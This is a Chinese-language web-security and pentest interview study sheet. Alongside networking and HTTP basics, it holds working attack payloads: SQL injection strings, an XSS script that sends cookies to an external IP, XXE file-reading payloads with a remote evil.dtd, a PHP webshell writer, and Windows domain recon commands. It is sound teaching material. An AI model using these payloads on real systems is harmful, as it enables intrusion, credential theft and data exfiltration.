osi七层模型

第七层:应用层

功能:提供各种各样的应用层协议,为用户与网络之间提供一个打交道的接口。
常见协议:TELENT,DNS,HTTP,HTTPS,FTP,NFS
协议介绍:
TELENT:使用远程计算机上所拥有的本地计算机没有的信息资源,是常用的远程控制Web服务器的方法
DNS(域名解析协议):将域名解析为IP地址
HTTP(超文本传输协议):规定web服务端和客户端的数据传输格式
HTTPS(超文本传输安全协议):是HTTP加上TLS/SSL协议构成的可加密传输的网络协议
FTP(文件传输协议):网络共享文件传输
NFS(网络文件系统):用户和程序可以像访问本地文件一样访问远端系统上的文件。

第六层:表示层

功能:提供应用层数据的公共表示,即统一数据格式,从而使得数据能在两个系统中传输。
常见协议:LPP
协议介绍:
LPP(轻量级会话协议):描述了在某些受限条件下提供基于 TCP/IP 网络的 OSI 应用程序服务器的流线支持的方法。

第五层:会话层

功能:负责应用程序之间建立、维持和中断会话,同时也提供对设备和结点之间的会话控制,协调系统和服务之间的交流,并通过提供单工、半双工和全双工3种不同的通信方式,使系统和服务之间有序地进行通信。
常见协议:LDAP
协议介绍:
LDAP(轻型目录访问协议):通过IP协议提供访问控制和维护分布式信息的目录信息

第四层:传输层

功能:主要功能负责数据传输时端到端的完整性,即在网络上建立发送主机和目的主机之间的逻辑连接,从而隐藏了上一层提供数据传输时任何网络独立信息。
常见协议:TCP,UDP,TLS
协议介绍:
TCP(传输控制协议):一种面向连接的、可靠的、基于字节流的传输层通信协议
UDP(用户数据报协议):面向事务的简单不可靠信息传送服务
TLS(传输层安全协议):在两个通信应用程序之间提供保密性和数据完整性

第三层:网络层

功能:负责数据从一个结点到另一个结点的传输,并根据地址(IP/IPX地址),为信息在网络中传输是选择最佳路径。
常见协议:IP,ICMP,ICMPv6,ARP,RARP
协议介绍:
IP(网络互联协议):为主机提供一种无连接、不可靠的、尽力而为的数据包传输服务
ICMP(Internet控制报文协议):是一种面向无连接的协议,用于传输出错报告控制信息
ICMPv6(互联网控制信息协议版本六):为了与IPv6配套使用而开发的互联网控制信息协议,向源节点报告关于目的地址传输IPv6包的错误和信息,具有差错报告、网络诊断、邻节点发现和多播实现等功能
ARP(地址解析协议):据IP地址获取物理地址的一个TCP/IP协议
RARP(反向地址转换协议):发出要反向解析的物理地址并希望返回其对应的IP地址,应答包括由能够提供所需信息的RARP服务器发出的IP地址

设备:路由器

第二层:数据链路层

功能:主要功能是负责信息从一个结点到另一人结点的物理传输,检测在物理层上传输可能发生的错误并进行纠错,同时处理网络拓扑结构和流量控制等问题。
常见协议:VLAN,STP,IEEE 802.3,WIFI(IEEE 802.11),ATM,HDLC,PPP
协议介绍:
VLAN(虚拟局域网):根据功能、部门及应用等因素将设备或用户组织起来,相互之间的通信就好像它们在同一个网段中一样
STP(生成树协议):应用于计算机网络中树形拓扑结构建立,主要作用是防止网桥网络中的冗余链路形成环路工作
IEEE 802.3:定义了有线以太网的物理层和数据链路层的介质访问控制 (MAC)
WIFI(无线通信技术):实现无线上网
ATM(异步传输网):用户平面——是用户协议之间的接口如IP或SMDS和ATM等协议的接口互相协调;管理平面——使ATM栈的各层互相协调;控制平面——使信令传送以及虚电路的建立和拆除互相协调。
HDLC(高级数据链路控制):帧控制,帧同步,差错控制,流量控制,链路管理,透明传输,寻址,异常状态恢复
PPP(点对点协议):用来通过拨号或专线方式建立点对点连接发送数据,使其成为各种主机、网桥和路由器之间简单连接的一种共通的解决方案

设备:网桥,交换机

第一层:物理层

功能:主要功能是直接在物理传输介质上发送和接收数据位,为数据链路层提供物理连接。

设备:网卡,网线,集线器,中继器,调制解调器

常见的状态码

2XX——表明请求被正常处理了

1、200 OK:请求已正常处理。

2、204 No Content:请求处理成功,但没有任何资源可以返回给客户端,一般在只需要从客户端往服务器发送信息,而对客户端不需要发送新信息内容的情况下使用。

3、206 Partial Content:是对资源某一部分的请求,该状态码表示客户端进行了范围请求,而服务器成功执行了这部分的GET请求。响应报文中包含由Content-Range指定范围的实体内容。

3XX——表明浏览器需要执行某些特殊的处理以正确处理请求

4、301 Moved Permanently:资源的uri已更新,你也更新下你的书签引用吧。永久性重定向,请求的资源已经被分配了新的URI,以后应使用资源现在所指的URI。

5、302 Found:资源的URI已临时定位到其他位置了,姑且算你已经知道了这个情况了。临时性重定向。和301相似,但302代表的资源不是永久性移动,只是临时性性质的。换句话说,已移动的资源对应的URI将来还有可能发生改变。

6、303 See Other:资源的URI已更新,你是否能临时按新的URI访问。该状态码表示由于请求对应的资源存在着另一个URL,应使用GET方法定向获取请求的资源。303状态码和302状态码有着相同的功能,但303状态码明确表示客户端应当采用GET方法获取资源,这点与302状态码有区别。

当301,302,303响应状态码返回时,几乎所有的浏览器都会把POST改成GET,并删除请求报文内的主体,之后请求会自动再次发送。

7、304 Not Modified:资源已找到,但未符合条件请求。该状态码表示客户端发送附带条件的请求时(采用GET方法的请求报文中包含If-Match,If-Modified-Since,If-None-Match,If-Range,If-Unmodified-Since中任一首部)服务端允许请求访问资源,但因发生请求未满足条件的情况后,直接返回304.。

8、307 Temporary Redirect:临时重定向。与302有相同的含义。

4XX——表明客户端是发生错误的原因所在

9、400 Bad Request:服务器端无法理解客户端发送的请求,请求报文中可能存在语法错误。

10、401 Unauthorized:该状态码表示发送的请求需要有通过HTTP认证(BASIC认证,DIGEST认证)的认证信息。

11、403 Forbidden:不允许访问那个资源。该状态码表明对请求资源的访问被服务器拒绝了。(权限,未授权IP等)

12、404 Not Found:服务器上没有请求的资源。路径错误等。

5XX——服务器本身发生错误

13、500 Internal Server Error:貌似内部资源出故障了。该状态码表明服务器端在执行请求时发生了错误。也有可能是web应用存在bug或某些临时故障。

14、503 Service Unavailable:抱歉,我现在正在忙着。该状态码表明服务器暂时处于超负载或正在停机维护,现在无法处理请求。

session和cookie的区别

cookie是一种无状态的协议

原理:

image-20220602191657566

相当于给客户端分发了一个id卡,第一次登录获取,第二次服务端通过客户端携带的id卡来确认身份,即优缺点非常明显:

优点:流程简单快速

缺点:容易遭到篡改;大小受到限制,一般为4kb

session

session功能和cookie类似,不过有一定区别

原理:

image-20220602191623108

session顾名思义,即会话,是一种特殊的cookie。客户端访问服务端后,将状态以session的形式保存在服务端,此时再将该会话的id卡分发到客户端,再次访问服务端时,只需要从该session中查找该客户端的状态即可。

优点:更加安全

缺点:更占用服务器性能

区别

故区别有:cookie是保存在客户端,session保存在服务端

渗透测试的流程和思路(外网打点等)

明确目标

确认测试范围,如ip段,域名,站点等;对渗透目标进行判断,能进行渗透的程度。

信息搜集

  • 主动式信息搜集:得到的信息比较及时,获取到的信息更多,但容易被目标发现

通过直接发起连接的方式来搜集目标信息,如各种扫描器(nmap等)进行扫描、手动测试等

  • 被动式信息搜集:搜集到的信息可能会有一定延时,获取到的信息较少,但更加隐蔽

如果有外网,可搜索引擎关键词或语法搜索(inurl=等)、zoomeye等网络资产测绘引擎等,查找资产暴露面

whois信息

获取域名所有者的信息,包括姓名,公司,邮箱等,可以反查旁站、用于社会工程学的利用等。

域名解析搜集

如果目标使用了cdn或其他方式隐藏了真实ip,可以尝试通过查找历史解析,旁站或子域名解析等方法来查找真实ip

子域名收集

很多情况下,子域名可能和主站是相同服务器,如果主站没有发现突破口或者渗透难度较大,可尝试收集子域名,或从旁站寻找漏洞突破口

真实ip获取

首先判断目标是否采用了cdn

1
2
3
4
5
1.多地ping:因为cdn的目的是为了稳定速度,有些cdn服务商可能会在不同的地点或者ip设立节点服务器,所以不同地点ping出的ip不同则采用了cdn;但是多地ping出的ip相同也不一定就是真实ip,还要考虑单一cdn节点的可能性。

2.二级域名:因为cdn流量还是比较贵的,所以不一定每个子域名都挂上了cdn,此时我们可以通过子域名来发现真实ip本地将目标域名绑定到同IP(修改host文件),如果能访问就说明目标站与此二级域名在同一个服务器上;如果两者不在同一服务器也可能在同C段,扫描C段所有开80端口的IP,然后挨个尝试。

3.国外冷门dns服务器解析:大部分国内cdn服务商只针对国内市场,如果采用外国冷门服务器进行dns解析,有较大概率解析到真实ip

指纹识别

通常情况下,建站者为了方便,会直接采用常见的CMS、框架或者中间件等,比较常见的建站系统都会有明显的指纹特征,网上公开的漏洞或者源码也会比较多,通过相应指纹识别,可以一定程度上帮助渗透过程

端口扫描

nmap,masscan等进行扫描目标开放端口以及获取端口banner,确定端口对应的服务以及版本

旁站c段查询

通过入侵安全性较差的旁站,c段(测试站点),可通过提权、跨目录等手段拿到目标服务器的权限

httpscan:通过爬虫的方式扫描指定c段的网站信息

漏洞探测

前端信息泄露

一些前端的静态文件(静态文件目录,js,css等)和静态接口,可能泄露敏感数据

敏感目录扫描,备份文件等

通过手动fuzz或者扫描器扫描,搜集目标站点的敏感目录或者备份文件等等。不一定要能够访问,也可以从前端或者报错的信息来判断

弱口令

前台或后台登陆点可能存在弱口令

注册点

注册点一般是比较敏感的,如果开放了注册功能,可能拿到一些普通的用户权限

上传点

常见的上传点有:头像上传,文章图片上传,富文本编辑器等

命令注入

网站未对输入的字符进行过滤或者合法性校验,可通过拼接,拦截,绕过黑名单等方式来执行恶意命令

SQL注入

网站进行sql查询的点,如果未对传入的数据进行过滤,可猜测和拼接sql查询语句来执行恶意查询

已知组件CVE或存在exp的漏洞

通过指纹识别获取到的目标组件、版本信息

后续渗透

漏洞利用

通过漏洞探测到的可用漏洞进行进一步操作,例如webshell等

sql注入的方式

按注入类型

  • 数字型
  • 字符型(输入型)

判断:

1
id=1 order by 9999 --+		#正常返回则为字符型,报错则为数字型

分析:

假设语句为

1
select * from user where id = $id;

字符型中,注释内容会被当作id的一部分(字符串),在执行sql语句的过程中只会取前面的1,所以会正常执行

image-20221019153748911

而在数字型中,后面的order by会被当做排序语句执行,而正常数据库中不会有9999个字段,所以会报错

image-20221019154129333

按数据提交方式

  • GET
  • POST
  • HTTP头部(XXF,cookie等)

按执行效果

  • 基于报错的注入:有报错或其他回显

能将攻击者想要查询的信息(数据库名,版本号等)通过页面的错误提示回显;

前提条件:数据库未关闭报错函数,后台未对具有报错功能的函数进行过滤

常用的报错函数:extractvalue()、updatexml()、floor()、exp()等

一般步骤:

1
2
3
4
1' order by 1#								#判断字段数
1' union select 1,2,3# #判断字段的位置
1' union select 1,2,database()# #爆数据库名,*要查询的信息最好在每一个位置上都试试*

  • 基于布尔的盲注:根据返回页面执行是否正确来判断是否成功

不会直接显示查询的内容,只会返回查询是否成功;布尔运算是数字符号化的逻辑推演法,包括联合、相交、相减。在图形处理操作中引入了这种逻辑运算方法以使简单的基本图形组合产生新的形体(说人话:可以从字符的挨个比较来得出想要的信息)

重要函数:

1
2
3
4
count()										#计算结果集的行数
length(str) #返回指定字符串的长度
substr/substring(str, index, length) #返回截取的子字符串
ascii(str) #返回指定字符串最左侧字符的ascii值

一般步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#数据库名:dvwa/第一个表名:guestbook

1' and length(database()) = 4# #判断数据库名长度

1' and ascii(substr(database(),1,1)) = 100# #判断数据库名的第一个字符ascii值

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa') = 2# #判断数据库中表的数量

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)) = 103# #判断第一个表名的第一个字符ascii值

1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='guestbook') = 3# #判断列的数量

1' and ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook' limit 0,1),1,1)) = 99# #判断列名的第一个字符ascii值

1' and (select count(comment_id) from dvwa.guestbook) = 1# #判断字段的数量

1' and ascii(substr((select concat(comment_id,0x23,comment) from dvwa.guestbook),1,1)) = 49#
  • 基于时间的盲注:不能从返回结果判断,只能通过时间函数(sleep等)延时来判断

时间盲注大致和布尔盲注差不多,只不过是通过是否延时来判断执行成功与否

重要函数:

1
2
if(boolean, exp1, exp2)		#如果为true,返回exp1,反之返回exp2
sleep(sec) #延时执行

大致流程和布尔型差不多,把布尔换成靠延时来判断即可

image-20220603154747972
  • 联合查询注入:通常适用于有回显和显示位置有差异性的注入

重要函数:union

一般步骤:

1
2
3
4
5
1' order by 2#				#判断字段数,多了会报错

1' union select 1,2# #判断相应字段的显示位置

1' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'# #通过information_schema查询dvwa中的表名
  • 堆叠注入:可以通过分号间隔同时执行多条语句的注入
  • 宽字节注入

正常使用addslashes函数或者开启php的GPC时,为了防止特殊字符污染,会自动将预定义字符转义成加反斜杠的字符串;而使用了指定编码的语句set name 'gbk'时,相当于自动执行了三条语句(客户端,连接层,结果集都设置为GBK);而宽字节注入就是发生在php发送请求到mysql时使用了set name 'gbk'进行了一次gbk编码,由于一些特殊的字符集转换导致了宽字节注入。

原理:

在php中指定mysql为GBK编码,而php使用UTF-8编码时可造成宽字节注入

比如下面情况

1
2
输入:1' union select 1,2#
转义:1\' union select 1,2#

单引号被转义成了 \‘ ,故语法不正确,因此我们需要想办法去掉这个右斜线;mysql在使用GBK编码的时候,会认为两个字符是一个汉字,并且前一个ascii码大于128时才到汉字的范围;

1
2
3
?id=1' union select 1,2# -> 1\' union select 1,2# -> 1%5C%27%20union%20select%201%2C2%23 #此时%5C%27还是\'

?id=1%df' union select 1,2# -> 1[汉字]\' union select 1,2# -> 1%DF%5C%27%20union%20select%201%2C2%23 #此时%DF%5C组成了一个汉字(gbk编码认为两个字符是一个汉字),而%27也就是单引号成功逃逸
  • 二次注入:

利用已经储存的账户数据读取后再次进入查询语句中导致注入(说人话:已经写进数据库的内容,可以把他拿出来再次放进sql查询语句的情况)

一般步骤:

  1. 确定攻击目标账户名(admin)
  2. 注册恶意账户(admin’– -)
  3. 修改恶意账户密码
  4. 使用修改的密码登录目标账户

原理:

假设注册用户的语句为

1
insert into users (username, password) values("$username", "$password");

并且没有进行严格过滤,我们可以通过注册恶意用户名来注入,猜测修改密码的sql语句

1
update users set password='$password' where username='$username' and password='$src_password';

此时我们可以构造恶意payload为:admin'-- - ,拼合后的语句为

1
update users set password='$password' where username='admin'-- -' and password='$src_password';

此时admin’– - 之后的内容包括确认原密码的语句被注释,等同于

1
update users set password='$password' where username='admin';

可在不知情的情况下直接修改admin的密码。

sql注入报错函数

  • extractvalue函数

payload:1' and (extractvalue(1,concat(0x5c,(select user()))))#

image-20220603212657619

  • updatexml函数

payload:1' and (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))#

image-20220603212942036

  • floor函数

利⽤ floor(),count(),group by 的冲突报错

payload:1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

image-20220603214105995

  • exp函数

payload:1' and exp(~(select * from (select user())a))#

sql注入的几个比较重要的点

  • information_schema数据库里面有很多比较重要的信息,高权限数据库用户可以通过这个数据库来获得很多信
  • information_schema数据库的schemata表,可以看到所有的数据库名(schema_name字段)
  • 直接查询schema_name字段会返回很多个字段,可能把字段位置占完了,导致显示不全
image-20221019134510438

我们可以通过group_concat()函数来进行分组显示,视为一个字段,可以通过这种方法爆出所有的信息

image-20221019134622050

注:group_concat结合union查询时(select 1,2,group_concat)需要放在最后,否则会报错,如果不放在最后则要用select 1,(select group_concat),3;

image-20221019143426972 image-20221019143631446
  • information_schema数据库的tables表,可以看到所有数据库的表名(table_name)及对应的数据库名(table_schema)
  • 可以使用select group_concat(table_name)from(information_schema.tables)where table_schema = '数据库名';
  • information_schema数据库的columns表,可以看到所有字段名(column_name)及对应的数据库名(table_schema)和表名(table_name)
  • 可以使用select group_concat(column_name)from(information_schema.columns)where table_name = '表名';

xss的方式

反射型

从服务端返回脚本,在客户端触发执行发起攻击,一般通过需要url触发(需要受害者点开链接就能生效,不然只能搞自己。。)

防御方法:前端在显示的时候过滤或转义危险字符以及标签

储存型

像评论区或者文章等,可以将恶意脚本存储到服务器,每个浏览到该页面的客户端就会触发执行

防御方法:对发布内容进行过滤再储存到数据库,读取数据库前端显示的时候再进行一次过滤

DOM型

取决于输出位置,既可以是储存型也可以是反射型;dom是一种树状模型

在这里插入图片描述

页面到达浏览器时,浏览器会自动创建一个Document object对象,每个页面元素都对应一个文档对象,客户端可以通过js脚本对这个对象进行动态修改,基于这个特性可以利用js脚本实现xss攻击。

例:

返回cookie

1
<script>var img=document.createElement('img');img.src='http://10.10.10.151:1234/a?'+escape(document.cookie);</script>

nc监听1234端口

image-20220604141005170

CSRF攻击

原理

admin用户登录了A网站后台,浏览器保存了admin的cookie,此时攻击者搭建恶意网站B,其中携带一段向A网站请求的恶意代码,引诱admin用户来到恶意网站B(相同浏览器),此时admin用户携带有A网站后台的cookie,然而admin用户不知情,B网站存在恶意请求(如修改密码,发送邮件等),直接使用admin用户携带的cookie,以admin用户的身份向A网站发送恶意请求。

防御方法

基本有三种方法

HTTP Referer字段

优点:简单易行

缺点:referer字段仅由浏览器提供,不能排除浏览器有其他漏洞的情况,很难保证其真实性,并且某些隐私浏览器不提供referer,可能导致正常用户无法使用功能

token验证或验证码

csrf能实现的重点无非就是可以在用户不知情的情况下伪造用户请求,我们只需要在其中加入一段黑客无法伪造的字段即可,即token或者验证码,不过难点在于如何对接token和验证码的验证,并且如果在每个请求都添加这种验证方式是很麻烦的

http中自定义属性

通过xmlhttprequest将token放入http头中进行验证,不过xmlhttprequest一般用于异步请求,且重构网站复杂度高

SameSite字段

在set-cookies参数中添加SameSite字段,如果是跨站请求直接不执行

ssrf攻击

原理

SSRF漏洞攻击原理及防御方案

服务端请求伪造,攻击者在未取得服务器权限的情况下,利用服务器的漏洞,以服务器的身份向浏览器可达而攻击者不可达的服务器发送请求,再将不可达服务器返回的响应内容返回给攻击者,SSRF攻击通常针对外部网络无法直接访问的内部系统。

攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。

防御方法

  1. 过滤返回的信息,应用请求文件后(一般只会请求图片),先对返回内容进行校验,如果满足类型,再返回给用户,不满足则拒绝请求
  2. ssrf一般是用作探测内网服务,我们可以限制ip段,如果是内网就拒绝请求
  3. 统一报错信息,比如探测端口的情况,黑客可通过报错判断是否开放,将报错信息全部统一即可
  4. 限制请求端口,比如限制80或者443等
  5. 限制不常用协议,http和https常用,可以防止file,gopher等协议引发问题
  6. 有些网站的域名可能没有解析到内网地址,但是可通过3XX的方式请求内网地址,在不必要的情况下可以禁止所有重定向请求

XXE攻击

原理

普通xml注入

img

XML是一种非常流行的标记语言,它经常被用于配置文件,文档格式等。在解析外部实体的过程中,xml解析器可以根据url中指定的协议来查询。外部实体在文档中创建动态引用时非常有用,我们对外部资源进行的任何修改都可以在文档中自动更新。这种特性就导致了XXE攻击可以做到许多的效果

xml有一套格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制

1
2
3
4
5
6
7
8
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
]>

像这种定义方式,xml就必须按下面的方式书写

1
2
3
4
5
6
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

可以看到每个标签都对应DTD中的一个元素,此外,我们还可以在DTD中定义实体

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >
]>

这里 定义元素为 ANY 说明接受任何元素,还定义了xml的实体xxe,体其实可以看成一个变量,可以在 XML 中通过 & 符号进行引用,则xml就应该这样写

1
2
3
4
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

使用&xxe;对上面定义的xxe实体进行了引用,即输出test,这就是内部实体。XXE又叫xml外部实体注入,所以下面来看看外部实体

定义一个DTD

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >
]>

xml代码

1
2
3
4
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

这样我们在外部实体做的任何修改都可以在user处更新,还有一种方式是引用公共DTD,可以起到和SYSTEM相同的作用

1
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

通用实体

&实体名;引用的实体,在DTD中定义,在XML文档中引用

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
1
2
3
4
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
</updateProfile>

参数实体

  • 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;引用
  • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  • 和通用实体一样,参数实体也可以外部引用
1
2
3
4
5
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">

%an-element;
%remote-dtd;

攻击方法

有回显读取本地文件

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

payload

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini">
]>

<creds>&goodies;</creds>

如果读取的文件有特殊符号污染,可能会产生报错,这时候我们可以用到CDATA

CDATA节中的所有字符都会被当做元素字符数据的常量部分,格式为

但是xml中并没有能够拼接字符串的语法,这时可以使用多个实体连续引用的方法

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
]>
<roottag>&all;</roottag>

\\evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

防御方法

  1. 简单粗暴,禁用外部实体
  2. 过滤和验证用户提交的xml数据

用过的安全设备

深信服日志审计,深信服数据库审计,深信服防火墙,深信服态势感知

黄金/白银票据的区别

preview

preview

img

从获取的权限

  • 黄金票据:通过伪造TGT票据,可以获取任意Kerberos的访问权限
  • 白银票据:通过伪造ST票据,只能访问指定的服务,如CIFS等

从认证流程

  • 黄金票据:与KDC交互,不与AS交互
  • 白银票据:不与KDC交互,直接访问Server服务

从加密方式

  • 黄金票据:通过 krbtgt 的 NTLM Hash 加密
  • 白银票据:通过服务账号的 NTLM Hash 加密

了解的内网渗透

  • 首先在已有权限的主机上进行进一步信息搜集(系统详细信息,开放端口、服务,补丁信息等),获取有用信息
  • 尝试提权,看看是否能够通过更高权限获取更多信息和利用,不能提权无所谓,进行下一步
  • 对已有权限等级做好权限维持(免杀,自启动,开机运行,计划任务等等)
  • 尝试通过端口转发、反弹shell、frp代理、Ngrok代理、Earthworm代理、reGeorg代理或其他隧道技术,将内网的流量代理出来,方便内网环境探测内网横向移动
  • 进行内网信息搜集,弄清楚内网有哪些网段,可尝试直接进行内网探测存活主机、端口等,并进一步分析资产漏洞可用性
1
2
3
4
5
6
7
8
9
10
11
#msf模块
#存活主机探测
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(1-10000)

#端口扫描
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(1-10000)
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
#端口扫描有时会使会话终端,所以可以上传nmap后在shell中使用nmap扫描。但是要记得清理
  • 判断是否存在域环境,如果存在域环境,尝试搜集域控信息(NetBIOS协议),查看域用户有哪些,方便后续渗透
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ipconfig /all   					查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net time /domain 查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
  • 尝试渗透域控或者域成员
1
2
3
4
MS14-068
MS17-010永恒之蓝
noPac.exe
域渗透ZeroLogon(CVE-2020-1472)
  • 如果域渗透没有进展,可尝试通过其他未入域的存活主机进行渗透
  • 如果拿到相关权限,需进行后渗透操作,清理痕迹、权限维持等
1
黄金/白银票据

php/Java反序列化

如何绕过cdn

1
2
3
4
5
6
7
8
9
1(探测).多地ping:因为cdn的目的是为了稳定速度,有些cdn服务商可能会在不同的地点或者ip设立节点服务器,所以不同地点ping出的ip不同则采用了cdn;但是多地ping出的ip相同也不一定就是真实ip,还要考虑单一cdn节点的可能性。

2.二级域名:因为cdn流量还是比较贵的,所以不一定每个子域名都挂上了cdn,此时我们可以通过子域名来发现真实ip本地将目标域名绑定到同IP(修改host文件),如果能访问就说明目标站与此二级域名在同一个服务器上;如果两者不在同一服务器也可能在同C段,扫描C段所有开80端口的IP,然后挨个尝试。

3.国外冷门dns服务器解析:大部分国内cdn服务商只针对国内市场,如果采用外国冷门服务器进行dns解析,有较大概率解析到真实ip

4.通过网络空间测绘引擎或者情报平台搜索特有http头或者关键字

5.查询历史dns解析记录,可能以前没有使用cdn,后来再用了cdn解析,如果中途没有换过真实ip,那么有几率获取到真实ip

中间件漏洞 三四个

iis6.0解析漏洞

该版本默认将*.asp;.jpg此类格式的文件名,当成asp解析,服务器默认;后面的内容不解析,相当于截断,例如上传asp木马,就可以用xx.asp;.jpg来绕过;iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp

防御:禁止上传畸形文件,图片目录设置为禁止脚本执行

iis6 PUT漏洞

IIS Server在web中开启了webDAV 配置了可以写入的权限,造成了任意文件上传

防御:关闭webDAV,关闭写入权限

iis7 解析漏洞

iis7.x版本在Fast-CGI运行模式下,在任意文件,例如:a.jpg/png后面加上/.php,会将.jpg/png解析为php文件

防御:配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序

Apache未知拓展名解析

apache默认一个文件可以有多个以点切割的后缀,当最右的后缀无法识别时,就继续向左识别,直到识别到合法后缀才开始解析,如xxx.php.qqq,qqq无法识别,就继续解析,到php时能够识别,就解析为php文件

Apache换行解析漏洞CVE-2017-15715

2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略

Apache ssi 远程命令执行漏洞

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用 语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml

Tomcat弱口令&war远程部署

Tomcat存在后台管理,账号密码设置在conf/tomcat-users.xml

弱口令或爆破(爆破采用数据包base64传递认证)
把shell.jsp在本地打包成zip,然后重命名为war,之后上传war,会自动解压,从而getshell

Nginx畸形解析漏洞

IS 7.0/IIS 7.5/ Nginx <8.03

在默认Fast-CGI开启状况下,上传一个名字为shell.jpg,内容为

1
2
3
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>

nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在 Nginx配置文件中

通过正则匹配设置 SCRIPT_FILENAME。

当访可http://127.0.0.1/phpinfo.jpg/1.php这个URL时

$fastcgi_script_name会被设置为 “phpinfo.jpg/1.php”

SCRIPT_FILENAME传递给 PHP CGI,如果PHP中开启了 fix_pathing这个选项

PHP会认为 SCRIPT_FILENAME是 phpinfo.jpg,而1.php是 PATH_INFO,所以就会将 phpinfo.jpg作为PHP文件来解析

Nginx-fastcgi缓存文件包含

原理:

  • Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件
  • 通过多重链接绕过 PHP LFI stat 限制完成 LFI

https://tttang.com/archive/1384/

Weblogic弱口令

在weblogic搭建好之后没有修改进入后台的密码导致弱口令登录获得webshell
访问http://127.0.0.1:7001/console

1
默认账密:weblogic/Oracle@123

Weblogic反序列化CVE-2015-4852、CVE-2016-3510

危害:远程命令执行

Weblogic SSRF CVE-2014-4210

利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件

1
